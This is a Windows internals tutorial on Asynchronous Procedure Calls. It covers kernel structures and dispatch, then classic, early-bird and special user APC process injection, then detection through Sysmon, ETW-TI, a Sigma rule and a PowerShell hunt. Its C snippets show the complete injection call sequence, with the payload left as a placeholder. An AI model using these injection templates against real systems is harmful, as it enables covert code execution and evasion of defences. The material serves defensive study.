APCs: Asynchronous Procedure Calls and Thread Hijacking Surface
Objective: Understand the Windows Asynchronous Procedure Call mechanism from the kernel up — the
KAPC/KAPC_STATEstructures, the dispatch path throughKiInsertQueueApcandKiDeliverApc, the alertable-wait requirement, and the three abuse variants (classic, early-bird, special user APC) used for thread hijacking and process injection — and detect them with Sysmon, ETW-TI, and audit policy.
1. APC Fundamentals — What the OS Actually Uses APCs For
An Asynchronous Procedure Call is a function that executes asynchronously in the context of a specific thread. When the kernel queues an APC, it raises a software interrupt and arranges for the routine to run the next time that thread is dispatched. Every thread has its own APC queue — APCs are inherently thread-targeted, which is exactly why offensive tooling loves them.
The OS itself relies on APCs for normal work:
- I/O completion:
ReadFileEx,WriteFileEx, andSetWaitableTimerdeliver their completion callback via a user-mode APC queued back to the issuing thread. - File-system filter callbacks: normal kernel APCs are widely used by file systems and minifilters.
- Wait abortion: queuing a user APC against a thread in an alertable wait satisfies the wait with
STATUS_USER_APC.
Understanding APCs means understanding three things in sequence: who can queue them, when they fire, and what the thread looks like at the moment they fire.
2. The Three Flavours of APCs
APCs differ by IRQL and by who is allowed to queue them. The kernel maintains distinct semantics for each.
| Type | IRQL | Notes |
|---|---|---|
| Special Kernel APC | APC_LEVEL | Runs in kernel mode at IRQL APC_LEVEL; preempts user-mode code and kernel-mode code executing at PASSIVE_LEVEL. Used by the OS for operations such as I/O request completion. |
| Normal Kernel APC | PASSIVE_LEVEL | Runs in kernel mode at PASSIVE_LEVEL; preempts all user-mode code, including user APCs. Generally used by file systems and file-system filter drivers. |
| User-mode APC | PASSIVE_LEVEL | Generated by an application. The target thread must be in an alertable state for a user-mode APC to run. |
Unlike deferred procedure calls (DPCs), which run in arbitrary thread context, an APC always executes inside a specific thread’s context — that property is what makes APCs both useful for I/O completion and dangerous as an injection primitive.

3. Kernel Structures: KAPC, KAPC_STATE, KTHREAD
A queued APC is represented in the kernel by a KAPC object. The thread tracks its pending APCs via a KAPC_STATE embedded in KTHREAD.
// Conceptual layout — field names are illustrative; confirm against the
// target Windows build with `dt nt!_KAPC` / `dt nt!_KAPC_STATE` in WinDbg.
typedef struct _KAPC {
UCHAR Type;
UCHAR SpareByte0;
UCHAR Size;
UCHAR SpareByte1;
ULONG SpareLong0;
struct _KTHREAD *Thread;
LIST_ENTRY ApcListEntry;
PKKERNEL_ROUTINE KernelRoutine;
PKRUNDOWN_ROUTINE RundownRoutine;
PKNORMAL_ROUTINE NormalRoutine;
PVOID NormalContext;
PVOID SystemArgument1;
PVOID SystemArgument2;
CCHAR ApcStateIndex;
KPROCESSOR_MODE ApcMode;
BOOLEAN Inserted;
} KAPC, *PKAPC;
typedef struct _KAPC_STATE {
LIST_ENTRY ApcListHead[2]; // [0] = kernel APCs, [1] = user APCs
struct _KPROCESS *Process;
BOOLEAN KernelApcInProgress;
BOOLEAN KernelApcPending;
BOOLEAN UserApcPending;
// SpecialUserApcPending was added later for RS5+ Special User APCs.
} KAPC_STATE, *PKAPC_STATE;Key fields the dispatcher and attackers both care about:
KAPC.NormalRoutine— the function the thread will eventually execute.KAPC.NormalContext,SystemArgument1,SystemArgument2— arguments passed toNormalRoutine.KAPC.ApcMode—KernelModevsUserMode, controls which queue and which delivery path.KAPC_STATE.ApcListHead[2]— two doubly-linked lists; index 0 holds kernel-mode APCs, index 1 holds user-mode APCs.KAPC_STATE.UserApcPending— set toTRUEwhen a user APC is queued and the thread is in an alertable wait; this is the signal that breaks the wait withSTATUS_USER_APC.
4. The Alertable Wait Requirement
A user-mode APC does not fire whenever the kernel wants — it fires only when the target thread is willing to be interrupted. A thread enters an alertable state by calling one of:
SleepEx()SignalObjectAndWait()MsgWaitForMultipleObjectsEx()WaitForMultipleObjectsEx()WaitForSingleObjectEx()
with the bAlertable parameter set to TRUE. Additionally, ReadFileEx, WriteFileEx, and SetWaitableTimer are themselves implemented using APCs as their completion-notification mechanism — so threads driving overlapped I/O routinely sit in alertable waits.
This alertable-state requirement is the single most important property to understand offensively and defensively:
- Offensively, it dictates target selection. Long-lived service threads in
svchost.exeorexplorer.exethat pump I/O are reliable targets; threads that never enter an alertable wait will never run a queued user APC. - Defensively, it explains why the classic injection works against some processes and not others — and why attackers eventually moved to Special User APCs to remove the dependency entirely (§9).
5. Win32 → Native → Kernel Call Chain
Queuing a user APC traverses three layers.
| API / Symbol | Layer | Description |
|---|---|---|
QueueUserAPC | Win32 (kernel32.dll) | Queues a user-mode APC to a target thread. |
NtQueueApcThread | NT native (ntdll.dll) | Syscall used internally by QueueUserAPC to deliver the APC. |
NtQueueApcThreadEx | NT native | Extended form; RS5 introduced Special User APCs queued by passing 1 as the reserve handle. |
NtQueueApcThreadEx2 | NT native | Newer variant exposing both UserApcFlags and MemoryReserveHandle. |
QueueUserAPC2 | kernelbase.dll | Wrapper that exposes Special User APCs to user code. |
KeInsertQueueApc | Kernel | Attaches the initialized KAPC to the target thread’s queue. |
KiDeliverApc | Kernel | Dispatches pending APCs at the kernel→user transition. |
ntdll!RtlDispatchAPC | ntdll | Trampoline in user mode that calls the caller-supplied APCProc. |
An important internal detail: when you call QueueUserAPC(pfn, hThread, dwData), the function pointer ntdll actually hands to NtQueueApcThread is not your pfn — it is ntdll!RtlDispatchAPC, and your pfn is passed as a parameter. This is why call-stack-aware EDRs frequently see RtlDispatchAPC as the immediate caller of the suspicious user-mode routine.
The dispatch sequence for a user-mode APC:
- Caller obtains a thread handle with
THREAD_SET_CONTEXTaccess. QueueUserAPC→NtQueueApcThread→ kernel entersKiInsertQueueApc.KiInsertQueueApcchecks whether the target is in an alertable wait withWaitMode == UserMode. If yes, it setsUserApcPending = TRUEand completes the wait withSTATUS_USER_APC.- On the kernel→user transition,
KiDeliverApcredirects execution tontdll!RtlDispatchAPC, which invokes the originalAPCProc.

6. Inspecting APC State in WinDbg
Read-only kernel introspection lets defenders and learners watch the structures the dispatcher mutates.
0: kd> !process 0 0 lsass.exe
0: kd> .process /r /p <EPROCESS>
0: kd> !thread <ETHREAD>
0: kd> dt nt!_KTHREAD <addr> ApcState
0: kd> dt nt!_KAPC_STATE <addr+offset>
+0x000 ApcListHead : [2] _LIST_ENTRY
+0x020 Process : Ptr64 _KPROCESS
+0x028 KernelApcInProgress : UChar
+0x029 KernelApcPending : UChar
+0x02a UserApcPending : UChar
0: kd> !list "-t nt!_KAPC.ApcListEntry.Flink -e -x \"dt nt!_KAPC @$extret\" <ApcListHead[1]>"Walking ApcListHead[1] for any thread reveals every pending user APC — its NormalRoutine, NormalContext, and ApcMode. On a healthy thread you typically see nothing; finding NormalRoutine pointing into a private RX region inside a system process is a classic incident-response artifact.
7. Classic APC Injection
The textbook variant. Every API call below is observable; the technique relies entirely on existing, documented APIs.
// Educational illustration of the API call chain only.
// No payload is included; `payload` is a placeholder used by defenders to
// recognize the pattern. Authorized testing only.
#include <windows.h>
#include <tlhelp32.h>
BOOL InjectViaAPC(DWORD pid, DWORD tid, const BYTE *payload, SIZE_T cb) {
HANDLE hProc = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION,
FALSE, pid);
if (!hProc) return FALSE;
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
if (!hThread) { CloseHandle(hProc); return FALSE; }
LPVOID remote = VirtualAllocEx(hProc, NULL, cb,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, remote, payload, cb, NULL);
// QueueUserAPC schedules execution; it fires only when the target
// thread enters an alertable wait.
QueueUserAPC((PAPCFUNC)remote, hThread, 0);
CloseHandle(hThread);
CloseHandle(hProc);
return TRUE;
}Trigger conditions:
- The target thread (
tid) must enter an alertable wait. In long-lived service hosts this happens routinely. - The handle to the thread must carry
THREAD_SET_CONTEXT. This is the most reliable single indicator: Sysmon EID 10 with aGrantedAccessmask coveringTHREAD_SET_CONTEXTagainst a high-value target image is the canonical detection (§12).
Notably, no new thread is created in the victim process — CreateRemoteThread is not called. This is exactly why APC injection evades Sysmon EID 8.
8. Early-Bird APC Injection
Classic injection has one weakness: you cannot predict when the victim thread will next become alertable. Early-bird removes the guesswork by injecting into a process you create yourself in a suspended state, then queuing the APC against the main thread before it has executed a single instruction.
// Educational pseudocode — illustrates API sequence, not payload.
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA(NULL, "C:\\Windows\\System32\\notepad.exe", NULL, NULL,
FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
LPVOID remote = VirtualAllocEx(pi.hProcess, NULL, cb,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remote, payload, cb, NULL);
QueueUserAPC((PAPCFUNC)remote, pi.hThread, 0);
// Thread services its APC queue as part of initialization, *before*
// running the original entry point.
ResumeThread(pi.hThread);Why it works: when a newly created thread starts, the kernel transitions into user mode through ntdll!LdrInitializeThunk, which performs internal alertable waits during loader work. Any user APC queued before ResumeThread is delivered during that early window — before the legitimate entry point runs.
This variant straddles two ATT&CK sub-techniques: it is APC injection (T1055.004) but it also resembles Thread Execution Hijacking (T1055.003) because the suspended-thread-then-redirect pattern is structurally the same primitive.

9. Special User APCs (RS5+): Bypassing the Alertable Requirement
Starting with Windows 10 RS5, the kernel introduced Special User APCs. The key behavioural change: these APCs are delivered with Mode == KernelMode to force a thread signal. The thread is interrupted mid-execution to run the special APC — the alertable-state requirement is gone.
They are queued via NtQueueApcThreadEx (passing 1 as the reserve handle) or through NtQueueApcThreadEx2, which exposes a flags field. kernelbase!QueueUserAPC2 is the documented Win32 wrapper.
// Conceptual signatures — confirm flag values and syscall semantics
// against the target SDK / Windows build before relying on them.
typedef NTSTATUS (NTAPI *pNtQueueApcThreadEx2)(
HANDLE ThreadHandle,
HANDLE UserApcReserveHandle, // optional reserve object
ULONG ApcFlags, // e.g. QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC
PVOID ApcRoutine,
PVOID SystemArgument1,
PVOID SystemArgument2,
PVOID SystemArgument3);
// Pseudocode dispatch — `Special User APC` interrupts a running thread
// without requiring it to be in SleepEx / WaitForSingleObjectEx.
pNtQueueApcThreadEx2 fn = (pNtQueueApcThreadEx2)
GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueueApcThreadEx2");
fn(hThread,
NULL,
QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, // forces in-execution delivery
remote_routine,
NULL, NULL, NULL);Internally the kernel sets SpecialUserApcPending (added to KAPC_STATE for this purpose) and arranges delivery at the next return-to-user-mode opportunity regardless of wait state. This is a meaningful escalation of the primitive — it converts APC injection from “wait until the thread cooperates” to “interrupt the thread now.”
10. Real-World Threat Actor Usage
APC injection is documented at the technique level rather than the family level here; defenders should treat it as a primitive that recurs across many tradecraft variants:
- DOUBLEPULSAR used kernel-mode APC injection to redirect user-mode threads from a kernel implant.
- Multiple commodity and APT families catalogued under MITRE
T1055.004employ classic user-APC injection againstsvchost.exe,explorer.exe, and other long-running hosts. - The AtomBombing family of injection variants combines
GlobalAddAtom/NtQueueApcThreadto stage code through atom tables, then dispatch via APC. - Recent research (Check Point’s Thread Name-Calling) chains thread-name primitives with APC dispatch to evade EDR userland hooks.
11. Common Attacker Techniques
| Technique | Description |
|---|---|
| Classic APC Injection | OpenProcess → OpenThread(THREAD_SET_CONTEXT) → VirtualAllocEx → WriteProcessMemory → QueueUserAPC. Fires when the target thread next enters an alertable wait. |
| Early-Bird APC | CreateProcess(CREATE_SUSPENDED) → write payload → QueueUserAPC → ResumeThread. APC fires during loader init, before the entry point. |
| Special User APC | NtQueueApcThreadEx / NtQueueApcThreadEx2 with QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC — interrupts the thread mid-execution; no alertable wait required. |
| Kernel APC injection from a driver | Malicious driver calls KeInsertQueueApc directly against a user thread (DOUBLEPULSAR class). Mitigated by HVCI / driver signing. |
| Atom-table staged APC (AtomBombing) | Payload bytes shuttled into target via atom tables, then dispatched with NtQueueApcThread. Evades naive memory-write detections. |
| Self-APC for unhooking / staging | Queue an APC to the current thread + SleepEx(0, TRUE) to execute code outside hooked call paths. |
12. Defensive Strategies & Detection
APC injection is deliberately quiet — it does not create a remote thread and so does not emit Sysmon EID 8. Detection therefore pivots on the handle-acquisition and memory-staging stages, plus dedicated ETW.
12.1 Sysmon
| Event ID | Name | Why It Matters Here |
|---|---|---|
| EID 10 | ProcessAccess | Captures the OpenThread/OpenProcess step. GrantedAccess masks covering THREAD_SET_CONTEXT (0x0018) and PROCESS_VM_WRITE (0x0020) against high-value images are the strongest signal. |
| EID 8 | CreateRemoteThread | Will not fire for pure APC injection — but does fire for hybrid variants and is useful as a negative signal. |
| EID 1 | ProcessCreate | Detects CREATE_SUSPENDED parent/child pairs typical of Early-Bird. Combine with short process lifetimes. |
12.2 ETW — Microsoft-Windows-Threat-Intelligence
The Threat Intelligence ETW provider exposes a dedicated APC-injection sensor:
THREATINT_QUEUEUSERAPC_REMOTE_KERNEL_CALLER— logged byEtwTiLogInsertQueueUserApc/EtwTiLogQueueApcThread, invoked from insideKeInsertQueueApc. Introduced in Windows 10 build 1809.
Consumption requires a signed ELAM driver; the provider is reserved for AntiMalware-protected processes. In practice you receive this telemetry through your EDR vendor’s sensor.
12.3 Audit Policy
- Enable Detailed Tracking → Audit Process Access → Security log EIDs 4656 / 4663 on handle requests. Filter for
Object Type = Threadwith access masks includingTHREAD_SET_CONTEXT. - Enable Audit Process Creation → EID 4688 with full command-line logging. Pair with
CREATE_SUSPENDEDheuristics where parent process behaviour permits inference.
12.4 Sigma Detection (Conceptual)
title: Suspicious Cross-Process Handle Acquisition Consistent With APC Injection
id: 00000000-0000-0000-0000-000000000000
status: experimental
logsource:
product: windows
service: sysmon
detection:
selection_thread_ctx:
EventID: 10
GrantedAccess|contains:
- '0x0018' # THREAD_SET_CONTEXT | THREAD_GET_CONTEXT
- '0x1fffff' # PROCESS_ALL_ACCESS
TargetImage|endswith:
- '\lsass.exe'
- '\svchost.exe'
- '\explorer.exe'
- '\winlogon.exe'
selection_vm_write:
EventID: 10
GrantedAccess|contains: '0x0020' # PROCESS_VM_WRITE
timeframe: 5s
condition: selection_thread_ctx and selection_vm_write
falsepositives:
- Endpoint security products and legitimate debuggers
level: high12.5 Behavioural Heuristics
The fingerprint that hunts well: VirtualAllocEx (RWX) → WriteProcessMemory → NtQueueApcThread issued by the same source process within a short window. Even when individual calls are noisy, the ordering is rare in benign software.
12.6 PowerShell — Hunt for Suspicious ProcessAccess Masks
Get-WinEvent -LogName 'Microsoft-Windows-Sysmon/Operational' -FilterXPath @"
*[System[EventID=10]]
"@ |
Where-Object {
$_.Properties[5].Value -match '0x0018|0x001f|0x1fffff' -and
$_.Properties[6].Value -match 'lsass\.exe|svchost\.exe|winlogon\.exe'
} |
Select-Object TimeCreated,
@{n='Source'; e={$_.Properties[4].Value}},
@{n='Target'; e={$_.Properties[6].Value}},
@{n='Access';e={$_.Properties[5].Value}}12.7 Hardening
| Mitigation | Description |
|---|---|
| Protected Process Light (PPL) | LSASS as PPL-Antimalware blocks OpenThread(THREAD_SET_CONTEXT) from untrusted callers. |
| Credential Guard | Moves LSASS secrets into a VSM-isolated process, removing it as an APC target entirely. |
| HVCI / Code Integrity | Prevents unsigned kernel drivers from calling KeInsertQueueApc against arbitrary threads. |
ASR rule 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b0 | Blocks credential theft from LSASS; complements but does not directly block APC injection. |
| Minimize alertable waits in sensitive code | Avoid SleepEx(n, TRUE) and other alertable waits in privileged service threads unless required. |
| ETW-TI via EDR | Deploy AV/EDR with an ELAM driver to consume Microsoft-Windows-Threat-Intelligence events in real time. |

13. Tools for APC Analysis
| Tool | Description | Link |
|---|---|---|
| WinDbg | Walk KTHREAD.ApcState, dump KAPC entries via !list, inspect UserApcPending. | microsoft.com |
| Process Hacker | Per-thread inspection, including private RX allocations and thread call stacks indicative of injected code. | processhacker.sourceforge.io |
| Sysmon | EID 10 / 8 / 1 telemetry for the handle-open and process-creation halves of the chain. | sysinternals.com |
Sysinternals handle.exe | Enumerate handles a suspect process holds (look for foreign Thread / Process handles). | sysinternals.com |
| Volatility 3 | Memory forensics: walk thread APC queues post-incident; identify injected RX regions. | volatilityfoundation.org |
| ETW Explorer / SilkETW | Inspect or subscribe to ETW providers (ETW-TI requires signed ELAM). | github.com |
| x64dbg | User-mode dynamic analysis of QueueUserAPC / RtlDispatchAPC call chains. | x64dbg.com |
14. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Process Injection | T1055 | Behavioural sequence: cross-process handle with VM-write rights followed by APC queuing. |
| Process Injection: Asynchronous Procedure Call | T1055.004 | Sysmon EID 10 with THREAD_SET_CONTEXT; ETW-TI THREATINT_QUEUEUSERAPC_REMOTE_KERNEL_CALLER. |
| Thread Execution Hijacking | T1055.003 | Early-Bird variant: CREATE_SUSPENDED process + THREAD_SET_CONTEXT handle + early-window APC. |
T1055.004 is the primary mapping for this tutorial. The Early-Bird variant (§8) overlaps with T1055.003 because the suspended-thread + redirection structure is the same primitive — defenders should detect both.
Summary
- APCs are a legitimate kernel facility for thread-targeted asynchronous work, and that property is exactly what makes them a first-class injection primitive.
- The dispatch chain is
QueueUserAPC→NtQueueApcThread→KiInsertQueueApc→KiDeliverApc→ntdll!RtlDispatchAPC→ caller routine; every layer is observable. - User APCs require an alertable wait; Early-Bird sidesteps this via
CREATE_SUSPENDED, and Special User APCs (NtQueueApcThreadEx2+QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC) eliminate the requirement entirely. - APC injection deliberately evades Sysmon EID 8 — detection pivots on EID 10 with
THREAD_SET_CONTEXT(0x0018) andPROCESS_VM_WRITE(0x0020) against high-value targets, plusMicrosoft-Windows-Threat-IntelligenceETW (EtwTiLogInsertQueueUserApc). - Map to T1055.004 for classic / special-user APC, and additionally to T1055.003 for the Early-Bird suspended-thread variant; harden with PPL, Credential Guard, HVCI, and ETW-TI-consuming EDR.
Related Tutorials
- DPCs: Deferred Procedure Calls and Interrupt Deferral
- Windows Scheduler Internals: Priority Levels, Quantum, and Thread Selection
- System Calls and SSDT: How User Mode Reaches the Kernel
- Threads and the TEB (Thread Environment Block)
- Access Tokens and Privileges: The Kernel’s Security Context
References
- Process Injection: Asynchronous Procedure Call, Sub-technique T1055.004 – MITRE ATT&CK
- Process Injection: Thread Execution Hijacking, Sub-technique T1055.003 – MITRE ATT&CK
- Asynchronous Procedure Calls – Win32 apps | Microsoft Learn
- QueueUserAPC function (processthreadsapi.h) – Win32 apps | Microsoft Learn
- Types of APCs – Windows Kernel Drivers | Microsoft Learn
- Behavioral Detection of APC Injection via Remote Thread Queuing, Detection Strategy DET0100 – MITRE ATT&CK